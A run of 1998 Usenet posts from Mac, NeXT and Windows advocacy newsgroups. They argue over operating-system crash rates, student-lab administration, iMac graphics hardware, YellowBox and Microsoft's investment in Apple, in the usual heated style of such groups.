References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <6qag5l$4g6$1@nnrp1.dejanews.com> <6qao0i$hio$1@nnrp1.dejanews.com>
In article <6qao0i$hio$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca wrote:
> > In the systems I support at work, Win95
> > seems to crash about as often as OS 7.6.1, but
> > Win95 crashes more often cause registry
> > problems that require reinstalling the OS.
>
> That is the complete opposite of my experience. My Mac crashes more frequently
> than my PC and I have never had to reinstall Windows 95. I have had to
> reinstall the Mac OS twice (which isn't too bad actually).
What version of the MacOS are you using?
Basically I've found that Sys 7.5x had alot of
problems, however 7.6 seemed much better and
8.1 runs very well, rarely crashes and quite
snappy even on 7100/60s.
> > When
> > a Mac extension becomes corrupted during a
> > crash the I often fix the problem by replacing it
> > with an extension from another machine,
> > however this is not as easy a solution on 95.
>
> This is very odd. Why would an extension become currupt during a crash? Maybe
> next time you replace an extension you could send me the defective and good
> version and I'll try to figure out what happened.
Usually the culprits are ATM and OLE. Whether
these become corrupt _during_ a crash or
become corrupt and _cause_ a crash is rather
hard to determine.
We've only
> > been using OS8.1 for a few months now, but it
> > seems to crash much less frequently than 95 or
> > 7.6.1.
>
> You experience seems very atypical. You seem to have severe support problems
> on both systems. Maybe
>
Well these are student labs, with many very
inexperienced users. They install software willy-
nilly, delete things at random, etc. Further our
'bosses', the faculty, need to use a much wider
range of SW than is probably common. (OTOH, IS
folks from Universities generally know how to
support a much wider range of OSs and SW than
someone who manages a Win95/98/BackOffice
set up, FI we run everythig from Digital Unix to
Linux, to Win3.1/95/NT4 to OS 7.1 to 8.1;-).
We've implemented a new restore procedure at
boot, using RevRdist on the Mac and a combo of
Ghost and PCRdist on the PCs, which have been
working pretty well so far. Of the two, RevRdist
is more convinient, as it can restore the active
system, w/as the PC combo requires a boot
floppy and a bit more work on the technicians
part. We have been having problems getting IE4
to work with PCRdist, though our other Windows
SW works fine. RevRdist works well with all the
Mac SW (including PS4, Director, etc.) except
Pagemaker, though the problem there is with
the serial# and should be fixed by an upcoming
purchase of and educational site license from
Adobe. (Or just dumping PM for Quark, which
works fine;-).
> Brian Quinlan
> quinlan@intergate.bc.ca
>
Personally, I think the drive twoard IS
simplification is overrated, while it may result in
lower IS budgets, I think that the users are
most productive when they can choose the SW/
HW that they feel most comfortable with.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: bobstaff@jhunix.hcf.jhu.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 20:53:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qd551$man$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <christian.bau-0508981753590001@christian-mac.isltd.insignia.com>
In article <christian.bau-0508981753590001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> My anecdotal evidence is that my neighbor bought a PC two days ago, asked
> me yesterday if I could show him how to use it (should have asked me a
> week earlier what computer to buy, and he probably would have a nice
> Macintosh 5500/275 for much less than he paid for his PC, and I wouldnt
> have to help him all the time, and it looks so much better), and it
> crashed. Once in his Windows Explorer, then a few times when he tried to
> start some language learning program that came with his computer from a
> CD. Fortunately, rebooting solved the problem. Brand new machine, as
> delivered by Packard-Bell.
~~~~~~~~~~~~
This might be the reason why. My anecdotal evidence is that if all the
Packard Bell Computers dropped off the face of the earth, the number of PC
tech support calls would drop by 50%. (At least that was about right when I
was doing tech support...).
It's just crappy hardware in PB's case.
dIsCoRd
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: DarnedToHeck@REMOVE.home.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <DarnedToHeck-0608981704480001@cc962257-a.vron1.nj.home.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0> <MPG.10336abdffe86b6c989778@news.itg.ti.com>
Organization: I take the fifth
Date: Thu, 06 Aug 1998 21:04:09 GMT
NNTP-Posting-Date: Thu, 06 Aug 1998 14:04:09 PDT
In article <MPG.10336abdffe86b6c989778@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> Joe, check out that iMac demo with the little kid vs. an adult trying to
> get on the internet. They don't say "up to".. They just say "twice as
> fast".
Pay attention--the tv commercials compare the desktop G3's to regular
Pentium II systems.
The iMac short compares an iMac (actually a tad faster than a desktop G3
of the same cpu) to a *Celeron* based PC.
I wonder if the iMac is *only* twice as fast!
--
...Paul McGrane
*As always, my email address is a fixer-upper*
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 6 Aug 1998 21:00:35 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qd5hj$cuq$4@news.spacelab.net>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at> <6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at> <6p50pt$4et$1@nnrp03.primenet.com> <6p5e0j$1tl$2@msunews.cl.msu.edu> <v6vt1.6070$7k7.7862518@news.rdc1.sdca.home.com>
rr6013@yahoo.com wrote:
[ ... ]
>> Seems like the guy missed the boat on YB,
>
>YellowBox? Which Steve Jobs publically admits is unsupported for the buying
>populace? Its Carbon or Java, now.
Untrue. OPENSTEP/Enterprise is available, supported, and is being actively
developed-- under the new name of "YellowBox for Windows NT/95".
>> Obj-C/C++,
>
>Superceded languages my friends...
"superceded" means it's been replaced by something else, yet Obj-C is a
eminently functional and practical language to write YB code in.
But if you wanna do Java, fine-- the bridge technology works well and lets
your Java code interoperate with some of the most mature and functional
object frameworks around.
>> WO, EOF, JAVA, etc.
>
>Cool for geeks maybe. The stuff is beyond the reach of mere mortals lacking
>easy to use toolsets and frameworks. Java is important only as a MacPortal
>into the RealWorld.
There are a lot of very cool websites which rely on WOF and EOF to do their
thing. Microsoft ASP has the lead in marketshare, but WOF is more scalable,
less buggy, and much more functional-- just ask Dell about how well the
transition went, if you weren't around to witness how screwed up their site
got after M$ paid them to migrate to ASP.
>> Or maybe Apple isn't pushing the message
>> (sigh). All this 'save the Mac Faithful frenzy' is loosing the most
>> critical message about what may be the best technology on the
>> planet.
>>
>> Apple definately has excellent technology.
>
>Have you used this stuff?
For almost a decade, yeah.
> They haven't put most of this stuff on the market in usable form yet.
Really? Then how come I've been doing pretty well for myself doing NEXTSTEP
software development over the past few years?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 21:04:07 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qd5o7$cuq$5@news.spacelab.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net> <6qbht0$mdf$3@news.idiom.com>
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> "Michelle L. Buck" may or may not have said:
>-> When Apple runs out of long time Mac customers who want/need to upgrade
>-> older Macs in order to continue using their shelves of Mac software, who is
>-> going to buy the Macs that run a severely watered down version of the best
>-> OS ever ?
>
>I've got to quibble with this. If you're going to call *any* flavor of UNIX
>the "best OS ever" then you need to get out more.
Depends on what your requirements are, no? For a pretty wide range of tasks, Unix
fits the bill. For other roles, Windows, MacOS, etc are more appropriate. Pick
the tool that works best for the job at hand....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Patrick O'Neil <poneil@genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 06 Aug 1998 15:00:19 +0000
Organization: University of Utah Computer Center
Message-ID: <35C9C503.2B61@genetics.utah.edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net>
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George Graves wrote:
>
> In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> <poneil@genetics.utah.edu> wrote:
[...]
>
> I see. You don't mind running Win95 and NT, but you won't run the
> "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
> Because you're nuts!
>
Not at all. As much as I dislike M$ and Gates, the latest Winblows
variants (perversions?) ARE more stable than MacOS. Setting up a
standard Winblows box from scratch is no more complicated than
setting up a new install of MacOS...so there is no benefit THERE.
Lets see...better (though belated) memory protection in Winblows
(still doesn't hold a candle to OS/2 or linux) than MacOS (to be
fair, they ARE getting there...finally...someone at Apple finally
pulled a couple heads out of a couple asses I guess).
Let's see some more...Flat out more software available (and first)
for Wintel boxes. This is factually undeniable.
On the personal software legacy side, it would be NUTS to SWITCH from
an x86 type system to a PPC Mac (since you can't get anything BUT a
Mac with a PPC chip in it as a normal user...unfortunately) because
you would not only have to bear the cost of a new system, but you
would also have to buy all new software to go with it. THAT is a
cost...and there is little or no subjective speed difference between
the PII and the latest Macs anyway, so there is no point on that side.
You can't say, "Use softwinblows" or something like that because
emulation sucks, period. Always will...it is dog-slow in comparison
to the native hardware which is important if you are talking graphic
intensive apps like games and other things.
Nay...the fact is, there is less and less disparity between ease of
use, setup ease, reliability, and speed between the PPC/Mac world
and the Intel-Winblows-Linux, etc, world...
Apple computers are still not enduser-repair/modification friendly
the way clone PCs are. They want you to either send it back for
replacement or for you to have to pay a certified repairman to
do what any reasonably savvy computer user should be able to do
themselves. What a coupe for reason and logic that Apple went with
standard 72 pin simms, and then USB, and other niceties that allows
users to get SOME things from vendors other than the monopoly-wannabe
Apple.
Where did this thread originate anyway? It was foolish to either
start it in an intel hardware group, a wintel advocacy group, or
even a mac advocacy group. Its like islamic fundamentalists trying
to argue with christian fundamentalists.
patrick
From: Patrick O'Neil <poneil@genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Thu, 06 Aug 1998 15:05:00 +0000
Organization: University of Utah Computer Center
Message-ID: <35C9C61C.7AC6@genetics.utah.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com>
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Landivar2 wrote:
[...]
>
> 4.
> Jobs is just buddies with gates untill he is either powerful enough to pull the rug out
> from under Gates or the DOJ finishes Micro$oft off.
[...]
Nah. Apple is now a subsidiary, for all practical purposes, or a
"protectorate" if you
like, of M$. The money from Gates is NOT charity and it DOES carry
tentacles
that bind. Anything and everything from now on that is designed to
"help" Apple is
actually a means to fatten the pockets and power of Gates and M$.
Jobs is a pathetic puppet with an ego nearly as large as Gates'
patrick
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: How to Kill Microsoft
Newsgroups: comp.sys.next.advocacy
References: <6qcvq3$t0i$1@owl.slip.net> <6qd0it$3r8@shelob.afs.com>
Message-ID: <35ca2498.0@news.depaul.edu>
Date: 6 Aug 98 21:48:08 GMT
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> Believe me, if this were easy, everyone would be doing it. I think the
> best hope is if Microsoft holds to its promise to make Office 2000 XML-
> compliant.
I'm not confident that'll help. They'll probably just add tags,
but still munge the data associated with the tags. If Microsoft
goes XML, it's for their convenience, not anyone else's.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Thu, 06 Aug 1998 13:46:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Is Merced doomed?
Message-ID: <joe.ragosta-0608981346240001@wil38.dol.net>
References: <01bdc157$4c555c20$06387880@chewy>
In article <01bdc157$4c555c20$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
> Interesting article at News.com regarding Intel's IA-64 chip's
> prospects:
>
> Is Merced doomed?
> http://www.news.com/News/Item/0,4,24990,00.html?st.ne.fd.gif.d
>
> To summarize, Merced's release date continues to slip, and by the time
> it ships, chips by other companies as well as Intel and HP will be
> available or right around the corner that will rival Merced.
Rival?
SGI claims that their MIPS chip due within two years will blow the doors
off Merced. So, a year earlier and faster.
Rival, indeed.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 06 Aug 1998 13:47:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0608981347070001@wil38.dol.net>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net> <andyba-ya02408000R0508981534110001@news> <35C8ED8B.13026496@ericsson.com> <alex-0608981119560001@castle.webis.net> <35C9DC21.C3E06D0@ericsson.com>
In article <35C9DC21.C3E06D0@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Alex Kac wrote:
>
> > Well good, then. You'll like MOST of the new Theme's support in Appearance
> > 1.1 under 8.5. It DOES let you replace existing interface code - to a
> > point. For example, you could implement a new widget that miniturized a
> > window insted of windowshading it.
>
> Where do you get this? I can't find anything about it on the developer
> web site.
I had hoped that something like that would be the case, but I haven't seen
any reports on that kind of flexibility in Themes Manager, either. I hope
he's right.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Conspiracy Theory
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu>
Message-ID: <35ca2993.0@news.depaul.edu>
Date: 6 Aug 98 22:09:23 GMT
In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
> Nah. Apple is now a subsidiary, for all practical purposes, or a
> "protectorate" if you like, of M$. The money from Gates is NOT
> charity and it DOES carry tentacles that bind.
Nonsense. The shares are 'non-voting', which means they have no
say. Microsoft has influence, but it's not due to their token
investment (which was pocket change to Apple). Microsoft's
influence stems entirely from their software.
Try reading sometime.
> Anything and everything from now on that is designed to
> "help" Apple is actually a means to fatten the pockets and
> power of Gates and M$.
That's what they hope. May not turn out that way.
> Jobs is a pathetic puppet with an ego nearly as large as Gates'
The pipsqueak college student has spoken.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Wes Mininger (pyr)" <mininger@pilot.msu.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Thu, 06 Aug 1998 18:19:42 -0400
Organization: Michigan State University
Message-ID: <35CA2BFE.19FEA581@pilot.msu.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu>
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I think the main reason that M$invested in apple is so they would be
able to say 'See we arent a monopoly!' That is about the extent of it.
Plus they have a nice business making software as was mentioned. It
really dont have to do with much else I believe.
Jonathan W Hendry wrote:
>
> In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
>
> > Nah. Apple is now a subsidiary, for all practical purposes, or a
> > "protectorate" if you like, of M$. The money from Gates is NOT
> > charity and it DOES carry tentacles that bind.
>
> Nonsense. The shares are 'non-voting', which means they have no
> say. Microsoft has influence, but it's not due to their token
> investment (which was pocket change to Apple). Microsoft's
> influence stems entirely from their software.
>
> Try reading sometime.
>
> > Anything and everything from now on that is designed to
> > "help" Apple is actually a means to fatten the pockets and
> > power of Gates and M$.
>
> That's what they hope. May not turn out that way.
>
> > Jobs is a pathetic puppet with an ego nearly as large as Gates'
>
> The pipsqueak college student has spoken.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 22:19:52 GMT
Organization: Idiom Communications
Message-ID: <6qda68$iuv$1@news.idiom.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net>
<6qbht0$mdf$3@news.idiom.com> <6qd5o7$cuq$5@news.spacelab.net>
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Cc: chuck@codefab.com
"Charles W. Swiger" may or may not have said:
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
-> > "Michelle L. Buck" may or may not have said:
-> >-> When Apple runs out of long time Mac customers who want/need to
upgrade
-> >-> older Macs in order to continue using their shelves of Mac software,
who is
-> >-> going to buy the Macs that run a severely watered down version of the
best
-> >-> OS ever ?
-> >
-> >I've got to quibble with this. If you're going to call *any* flavor of
UNIX
-> >the "best OS ever" then you need to get out more.
->
-> Depends on what your requirements are, no? For a pretty wide range of
tasks, Unix
-> fits the bill. For other roles, Windows, MacOS, etc are more appropriate.
Pick
-> the tool that works best for the job at hand....
She didn't say it was useable, she said it was the "Best OS ever."
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 6 Aug 1998 22:14:37 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qd9sd$d5j$1@news.spacelab.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
>Yes, we all know Jobs made a slight boo boo. Commenting how games would
>be included with the imac, insuiating that the imac would be good for
>games, when it comes with a lousy rage II card.
From the current, second generation of 3D-accelerated video hardware (the
Permedia II, Voodoo II, ATI Rage II Pro, nVidia 128, etc) the Rage Pro is in
the top three across the board for general-purpose 2D and 3D performance.
Pick your benchmarks, though, since it all depends on what you want to
measure. For instance, the Voodoo II is unsurpassed at full-screen,
dedicated 3D, especially SLI...but it's worthless for doing 2D or 3D in a
window.
>Well, I think the solution is easy: Apple should start working on getting
>video options for the bto system.
The iMac is a turnkey, non-expandable system...Apple's NC, if you like. If
you want a system which is expandable, buy something with PCI slots.
> Say at first, maybe just a vodoo card instead of the rage II for a extra
> $50.
Problem: the Voodoo I and Voodoo II chipsets can't do 2D, at all. The Voodoo
Rush will, but it's 2D performance is at the bottom of the heap, and it's 3D
performance isn't too hot, either.
> I do not know exactly how its implemented, but I take it it would take a
> while to get this right since the rage 2 is part of the motherboard, thus
> it would take a while to somehow get a vodoo working?
Can't be done-- again, the Voodoo needs another 2D accelerator.
> Actually, come to think of it since its part of the logic board it wouldnt
> really work well as a BTO option. They should just replace the rage II
> with a vodoo 1.
Wrong. The Rage II is significantly faster than a Voodoo 1 for most 3D, and
it does 2D as well.
>And in the future, apple should get a clue. Cards for the pc that kick
>vodoo 2's butts are about to come out,
That's the claim, yeah-- we'll see how they do in practice soon enough.
However, it's pretty tough for the iMac to ship this month with chipsets that
haven't hit the market, either.
> and neither them nor even the vodoo 2 are available for the mac.
I have less use for a dedicated 3D accelerator like the Voodoo II, myself--
I'd rather go with a 2D/3D combo card...saves a slot, can do 3D acceleration
in a window, no signal quality loss due to the internal cross-over cabling,
yadda yadda yadda.
> Jobs needs to take his RDF gun with him and visit some of the card makers,
> maybe have a agp slot on all new desktop (as in non portable) macs,
Might be a worthwhile idea, yeah. AGP as a dedicated video port is pretty
comparible to PCI (does a little better sometimes, not by much). They should
do AGP in a second over doing a Mac-specific solution like a PDS (mark II),
or some other noise like that.
> and get a some of these companies like the one that makes the riva to
> make drivers available for the mac, and bundle them with macs.
nVidia. Sure-- the Riva TNT one of the favored contenders for the "best of
the next 3D accelerator chipset". The Riva 128 is one of the better 2D/3D
combos, with good to outstanding performance but hampered by the limited VRAM
(4 MB just wasn't enough given Z-buffer and texture memory requirements,
although AGP helps some) and sometimes poor 3D video quality. Again, we'll
have to see whether they can deliver....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Thu, 06 Aug 1998 18:33:26 -0400
Organization: Manual Labor
Message-ID: <kindall-0608981833260001@nic-c41-094.mw.mediaone.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu>
In article <35ca2993.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
>
> > Nah. Apple is now a subsidiary, for all practical purposes, or a
> > "protectorate" if you like, of M$. The money from Gates is NOT
> > charity and it DOES carry tentacles that bind.
>
> Nonsense. The shares are 'non-voting', which means they have no
> say. Microsoft has influence, but it's not due to their token
> investment (which was pocket change to Apple). Microsoft's
> influence stems entirely from their software.
The shares Microsoft bought _were_ non-voting, but they were convertible
to voting shares after a year, and guess what? A year's up... they can
convert them at any time.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 06 Aug 1998 22:29:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qdanf$vil$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <6qag5l$4g6$1@nnrp1.dejanews.com> <6qao0i$hio$1@nnrp1.dejanews.com> <6qd51c$m8g$1@nnrp1.dejanews.com>
In article <6qd51c$m8g$1@nnrp1.dejanews.com>,
mmp5@axe.humboldt.edu wrote:
> What version of the MacOS are you using?
> Basically I've found that Sys 7.5x had alot of
> problems, however 7.6 seemed much better and
> 8.1 runs very well, rarely crashes and quite
> snappy even on 7100/60s.
I'm running 8.1 right now. I'm talking about the total number of reinstalls
that I've had to do over the last six years.
> Usually the culprits are ATM and OLE. Whether
> these become corrupt _during_ a crash or
> become corrupt and _cause_ a crash is rather
> hard to determine.
This is still very weird. I've never had any problems with ATM.
[Explanation snipped]
When I went to school, the PCs used NT and the Macs used some software package
to prevent students from screwing up the system. We only had write access to a
single temporary directory.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 06 Aug 1998 09:23:00 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu>
In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
<poneil@genetics.utah.edu> wrote:
> Bill Moyer wrote:
> >
> > In article
<macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net>
macghod@concentric.net (Steve Sullivan) writes:
> > >
> > >You take that dog of a os windows out of the equation, and the p2 will be
> > >dramatically improved. And different os's would change the result of the
> > >mac side.
> > >
> > >I believe a g3 300 and a p2 400 are about the same speed. If I saw a test
> > >where the two were compared using 15 photoshop filters, I would be more
> > >inclined to take that number (and no 4 photoshop actions does not cut it)
> > >BUT someone pointed me out to a mathematica benchmark, and the p2 400
> > >running linux POUNDED THE LIVING CRAP OUT OF THE G3 300. It was something
> > >like %30 faster.
> >
> > If you eschew with Windows, then what's the point in using
> > an Intel processor at all? Alphas are faster and cheaper, and
> > will run Linux like gangbusters.
> >
> > If you're going to compare a processor against a P2, you'd
> > might as well assume that the P2 is running Windows. The only
> > people who *need* a P2 are those who are locked into Microsoft's
> > trap.
>
> There is one simple reason...there is little support in the software
> industry, PERIOD, for the Alpha. Sure, if ALL you use are linux apps
